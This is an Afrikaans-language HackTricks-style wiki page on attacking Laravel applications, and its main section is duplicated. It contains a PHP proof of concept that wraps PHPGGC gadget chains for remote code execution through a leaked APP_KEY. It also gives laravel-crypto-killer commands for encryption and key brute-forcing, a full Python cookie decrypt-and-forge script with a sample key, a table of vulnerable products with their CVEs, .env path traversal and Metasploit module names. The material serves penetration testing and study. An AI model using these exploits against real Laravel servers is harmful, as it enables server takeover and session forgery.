Laravel
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Laravel SQLInjection
Lees inligting hieroor: https://stitcher.io/blog/unsafe-sql-functions-in-laravel
APP_KEY & Enkripsie interne (Laravel \u003e=5.6)
Laravel gebruik AES-256-CBC (of GCM) met HMAC integriteit onder die oppervlak (Illuminate\\Encryption\\Encrypter
).
Die rou koderings teks wat uiteindelik na die kliënt gestuur word, is Base64 van 'n JSON objek soos:
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
encrypt($value, $serialize=true)
sal standaard die plaintext serialize()
, terwyl decrypt($payload, $unserialize=true)
automaties unserialize()
die gedekripteerde waarde. Daarom kan enige aanvaller wat die 32-byte geheim APP_KEY
ken, 'n versleutelde PHP-serialiseerde objek saamstel en RCE verkry via magiese metodes (__wakeup
, __destruct
, …).
Minimal PoC (framework ≥9.x):
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
Inject die geproduseerde string in enige kwesbare decrypt()
sink (roete param, koekie, sessie, …).
laravel-crypto-killer 🧨
laravel-crypto-killer outomatiseer die hele proses en voeg 'n gerieflike bruteforce modus by:
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
Die skrip ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC/tag veld.
Werklike wêreld kwesbare patrone
Projek | Kwesbare sink | Gadget ketting |
---|---|---|
Invoice Ninja ≤v5 (CVE-2024-55555) | /route/{hash} → decrypt($hash) | Laravel/RCE13 |
Snipe-IT ≤v6 (CVE-2024-48987) | XSRF-TOKEN koekie wanneer Passport::withCookieSerialization() geaktiveer is | Laravel/RCE9 |
Crater (CVE-2024-55556) | SESSION_DRIVER=cookie → laravel_session koekie | Laravel/RCE15 |
Die uitbuiting werkvloei is altyd:
- Verkry
APP_KEY
(standaard voorbeelde, Git lek, config/.env lek, of brute-force) - Genereer gadget met PHPGGC
laravel_crypto_killer.py encrypt …
- Lewer payload deur die kwesbare parameter/koekie → RCE
Massiewe APP_KEY ontdekking via koekie brute-force
Omdat elke vars Laravel antwoord ten minste 1 versleutelde koekie stel (XSRF-TOKEN
en gewoonlik laravel_session
), lek openbare internet skandeerders (Shodan, Censys, …) miljoene ciphertexts wat offline aangeval kan word.
Belangrike bevindings van die navorsing gepubliseer deur Synacktiv (2024-2025):
- Dataset Julie 2024 » 580 k tokens, 3.99 % sleutels gebroke (≈23 k)
- Dataset Mei 2025 » 625 k tokens, 3.56 % sleutels gebroke
-
1 000 bedieners steeds kwesbaar vir erflating CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.
- Groot sleutel hergebruik – die Top-10 APP_KEYs is hard-gekodeerde standaarde wat saam met kommersiële Laravel sjablone gestuur word (UltimatePOS, Invoice Ninja, XPanel, …).
Die private Go gereedskap nounours druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat die volle dataset krak tot <2 minute verminder.
Verwysings
- Laravel: APP_KEY lekkasie analise
- laravel-crypto-killer
- PHPGGC – PHP Generiese Gadget Kettings
- CVE-2018-15133 skrywe (WithSecure)
Laravel Tricks
Foutopsporing modus
As Laravel in foutopsporing modus is, sal jy toegang hê tot die kode en sensitiewe data.
Byvoorbeeld http://127.0.0.1:8000/profiles
:
Dit is gewoonlik nodig vir die uitbuiting van ander Laravel RCE CVE's.
.env
Laravel stoor die APP wat dit gebruik om die koekies en ander geloofsbriewe te versleutel binne 'n lêer genaamd .env
wat toegang kan verkry word deur 'n paar pad traversie onder: /../.env
Laravel sal ook hierdie inligting binne die foutopsporing bladsy wys (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is).
Met die geheime APP_KEY van Laravel kan jy koekies ontsleutel en weer versleutel:
Ontsleutel Koekie
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
Laravel Deserialization RCE
Kwetsbare weergawes: 5.5.40 en 5.6.x deur 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)
Hier kan jy inligting oor die deserialisering kwesbaarheid vind: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/
Jy kan dit toets en benut met https://github.com/kozmic/laravel-poc-CVE-2018-15133
Of jy kan dit ook benut met metasploit: use unix/http/laravel_token_unserialize_exec
CVE-2021-3129
Nog 'n deserialisering: https://github.com/ambionics/laravel-exploits
Laravel SQLInjection
Lees inligting oor dit hier: https://stitcher.io/blog/unsafe-sql-functions-in-laravel
Laravel SQLInjection
Lees inligting oor dit hier: https://stitcher.io/blog/unsafe-sql-functions-in-laravel
APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel gebruik AES-256-CBC (of GCM) met HMAC integriteit onder die oppervlak (Illuminate\\Encryption\\Encrypter
).
Die rou ciphertext wat uiteindelik na die kliënt gestuur word, is Base64 van 'n JSON objek soos:
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
encrypt($value, $serialize=true)
sal standaard die plaintext serialize()
, terwyl decrypt($payload, $unserialize=true)
automaties unserialize()
die gedekripteerde waarde. Daarom kan enige aanvaller wat die 32-byte geheim APP_KEY
ken, 'n versleutelde PHP-serialiseerde objek saamstel en RCE verkry via magiese metodes (__wakeup
, __destruct
, …).
Minimal PoC (framework ≥9.x):
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
Inject die geproduseerde string in enige kwesbare decrypt()
sink (roete param, koekie, sessie, …).
laravel-crypto-killer 🧨
laravel-crypto-killer outomatiseer die hele proses en voeg 'n gerieflike bruteforce modus by:
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
Die skripte ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC/tag veld.
Werklike wêreld kwesbare patrone
Projek | Kwesbare sink | Gadget ketting |
---|---|---|
Invoice Ninja ≤v5 (CVE-2024-55555) | /route/{hash} → decrypt($hash) | Laravel/RCE13 |
Snipe-IT ≤v6 (CVE-2024-48987) | XSRF-TOKEN koekie wanneer Passport::withCookieSerialization() geaktiveer is | Laravel/RCE9 |
Crater (CVE-2024-55556) | SESSION_DRIVER=cookie → laravel_session koekie | Laravel/RCE15 |
Die uitbuiting werkvloei is altyd:
- Verkry
APP_KEY
(standaard voorbeelde, Git lek, config/.env lek, of brute-force) - Genereer gadget met PHPGGC
laravel_crypto_killer.py encrypt …
- Lewer payload deur die kwesbare parameter/koekie → RCE
Massiewe APP_KEY ontdekking via koekie brute-force
Omdat elke vars Laravel antwoord ten minste 1 versleutelde koekie stel (XSRF-TOKEN
en gewoonlik laravel_session
), publieke internet skandeerders (Shodan, Censys, …) lek miljoene ciphertexts wat offline aangeval kan word.
Belangrike bevindings van die navorsing gepubliseer deur Synacktiv (2024-2025):
- Dataset Julie 2024 » 580 k tokens, 3.99 % sleutels gekraak (≈23 k)
- Dataset Mei 2025 » 625 k tokens, 3.56 % sleutels gekraak
-
1 000 bedieners steeds kwesbaar vir erflating CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.
- Groot sleutel hergebruik – die Top-10 APP_KEYs is hard-gecodeerde standaarde wat saam met kommersiële Laravel sjablone gestuur word (UltimatePOS, Invoice Ninja, XPanel, …).
Die private Go gereedskap nounours druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat die volledige dataset kraken tot <2 minute verminder.
Verwysings
- Laravel: APP_KEY lekkasie analise
- laravel-crypto-killer
- PHPGGC – PHP Generiese Gadget Kettings
- CVE-2018-15133 skrywe (WithSecure)
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.